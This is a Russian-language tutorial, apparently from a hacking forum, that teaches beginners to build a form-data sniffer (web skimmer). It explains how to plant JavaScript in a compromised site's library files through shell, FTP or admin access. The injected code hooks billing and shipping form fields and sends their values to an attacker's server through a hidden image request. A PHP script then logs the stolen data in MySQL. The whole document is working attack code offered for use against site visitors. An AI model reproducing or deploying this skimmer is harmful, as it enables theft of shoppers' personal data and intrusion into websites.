Пишем снифер формы для самых маленьких
Предположим, ты заинтересовался, как прочесть информацию из форм передавамых на каком то сайте, но ты не понимаешь ничего в js или программировании?
Не переживай и читай основы! А дальше и сам разберешься.
Здесь я опишу как быстро и самостоятельно написать код который собирает и отправляет инфу, вы не увидите здесь антидетектов или оптимальных решений, это пожалуй самое простое, не самое лучшее, но главное рабочее решение.
Необходимо иметь доступ, который позволит подключить JS скрипт к странице, если у тебя есть шелл или фтп доступ, попробуй добавить js код в один из существующих файлов ( который присутствует на странице с которой собираешься собирать информацию, для этого нажми правой кнопкой мыши на страницу и выберите просмотр кода страницы, после чего поищи строки в виде <script src=”/js/jquery.js”>, сам путь к файлу как мог догадаться /js/jquery.js, советую выбирать файлы которые содержат библиотеки кода, тот же jquery к примеру, так как их в повседневной работе не редактируют).
Если доступ только к админ части, попробуй погуглить, возможно есть способ залить шелл или добавить html-код к странице, в популярных cms это сделать можно! (если необходимо добавить html код к странице весь приведенный js-код необходимо будет вставить между <script>js code</script>)
Следующий шаг это определение полей ввода которые нас интересует. Открой страницу, и на поле ввода нажмите правой кнопкой мыши и выберите исследование элемента, перед вами откроется консоль разработчика где увидишь html-код этого поля, он должен быть автоматически выделен у тебя и иметь подобный вид:
<input type="text" name="first_name" class="inp-fname" id="billing_first_name" onclick="valid(this)">
В этом примере мы видим следующие параметры: type,name,class,id,onclick, в частых ситуациях нас интересует лишь один из трёх: name,class,id, остальные можно не учитывать для нашей задачи.
Ты должен выбрать именно тот параметр который имеет уникальное значение в отношении других элементов, если есть параметр id выбирайте его, он должен быть уникальным для всей страницы.
В зависимости от выбранного параметра ты будешь использовать одну из следующих функций, как их использовать опишу ниже.
name = getElementsByName
class = getElementsByClassName
id = getElementById
Теперь перепиши таким образом для каждого поля которое тебя интересует, должно выйти следующим образом:
function spy_func(){
try{
document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
}
catch(e){}
}
Если тебе необходимо добавить сбор данных с полей которые находятся на другой странице (к примеру часть данных вводится на одной форме и после отправки ты попадаешь на следующую страницу где продолжишь вводить данные), ты должн добавить новый блок try{}catch(e){}, он нужен для того чтобы когда браузер не найдет запрашиваемые поля скрипт не создавал ошибок, сделать это просто, пример:
function spy_func(){
try{
document.getElementById("billing_first_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_last_name").setAttribute("onchange","spy_send()");
document.getElementById("billing_phone").setAttribute("onchange","spy_send()");
}
catch(e){}
try{
document.getElementById("shipping_first_name").setAttribute("onchange","spy_send()");
document.getElementById("shipping_last_name").setAttribute("onchange","spy_send()");
document.getElementById("shipping_phone").setAttribute("onchange","spy_send()");
}
catch(e){}
}
Осталось написать часть которая собирает данные и отправляет их.
var data_str="";
try{
data_str += "billing_f_name="+ document.getElementById("billing_first_name").value.toString() + "&"; //Не забывай использовать конкретную функцию для параметра который используете
data_str += "billing_l_name="+ document.getElementById("billing_last_name").value.toString() + "&";
data_str += "billing_phone="+ document.getElementById("billing_phone").value.toString() + "&";
}
catch(e){}
//Так же для каждой страницы свой блок try{}catch(e){}
try{
data_str += "shipping_f_name="+ document.getElementById("shipping_first_name").value.toString() + "&"; //Не забывайте использовать конкретную функцию для параметра который используешь
data_str += "shipping_l_name="+ document.getElementById("shipping_last_name").value.toString() + "&";
data_str += "shipping_phone="+ document.getElementById("shipping_phone").value.toString() + "&";
}
catch(e){}
//здесь мы имеем уже сформированную строку с данными data_str и запрашиваем с нашего сервера domain.com наш скрипт ( можешь использовать другой известный вам способ отправки данных)
try{
var img = document.createElement("img");
img.src ="https://domain.com/script.php?"+data_str;
img.style="display:none";
var src = document.getElementsByTagName("body")[0];
Завершающим этапом (за который меня закидают тапками) будет добавление последней строки в наш js-код
window.setInterval(spy_func, 1000);
Эта строка поможет нам отследить когда появиться поле ввода.
На этом снифер завершен и мы можем его объединить ( очередность блоков не важна).
Так же важно помнить что отправка данных с страницы которая использует https:// должна идти так же на https://
Осталось написать серверную часть:
Все данные мы будем писать в базу данных mysql, она есть практически на каждом хостинге
Нам необходимо зайти в базу данных, можете использовать для этого adminer или phpMyAdmin и создать таблицу куда всё это будет писаться.
Назовём её info_table и создадим в ней следующие колонки
id (необходимо поставить галочку AUTO INCREMENT)
billing_f_name
billing_l_name
billing_phone
shipping_f_name
shipping_l_name
shipping_phone
ip
сделай все поля кроме id формата string. Как работать с базой расписывать не буду, много материала в сети.
Мы создали таблицу в которой есть собственная колонка для каждого поля ввода, дальше я напишу php script на который снифер отправляет запрос, он должен работать универсально, вам необходимо будет внести лишь несколько изменений:
<?php
header("Access-Control-Allow-Origin: *");
$db_config=Array( //впишите данные доступа к базе данных
"host"=>"localhost",
"user"=>"root",
"pass"=>"qwerty",
"db_name"=>"my_database",
"tbl_name"=>"info_table",
);
$sniff_inputs = Array(//пропишите название полей из снифера (сравните с примером)
"billing_f_name", "billing_l_name","billing_phone", "shipping_f_name","shipping_l_name","shipping_phone"
);
//end
$db= new mysqli($db_config["host"],$db_config["user"],$db_config["pass"],$db_config["db_name"]);
$ip = $db->real_escape_string($_SERVER["REMOTE_ADDR"]);
$data = $_REQUEST;
foreach($data as $key=>$value){
$data[$key]=$db->real_escape_string($value);
}
$updated_data = Array();
foreach($sniff_inputs as $input){
if(!empty($data[$input]))
$updated_data[$input] = $data[$input];
}
$find_id = $db->query("select id from {$db_config["tbl_name"]} where ip='{$ip}'");
$find_id = $find_id->fetch_assoc();
if(empty($find_id)){
$sql = "insert into {$db_config["tbl_name"]} (";
$part_key="";
$part_value="";
foreach($updated_data as $key=>$value){
if(!empty($part_key)){
$part_key.=",";
$part_value.=",";
}
$part_key.="`{$key}`";
$part_value.="'{$value}'";
}
$sql .= "{$part_key}, ip) values ({$part_value}, '{$ip}')";
}
else{
$id=$find_id["id"];
$sql = "update {$db_config["tbl_name"]} set ";
$part= "";
foreach($updated_data as $key=>$value){
if(!empty($part)) $part.=",";
$part .="`{$key}`='$value'";
}
$sql .= "{$part} where id={$id}";
}
$db->query($sql);
Теперь записи должны появиться у вас в базе данных.
Вуаля, мы только что написали простейший снифер. Как видишь, это не так сложно! Всю остальную инфу ты легко можешь найти в интернете.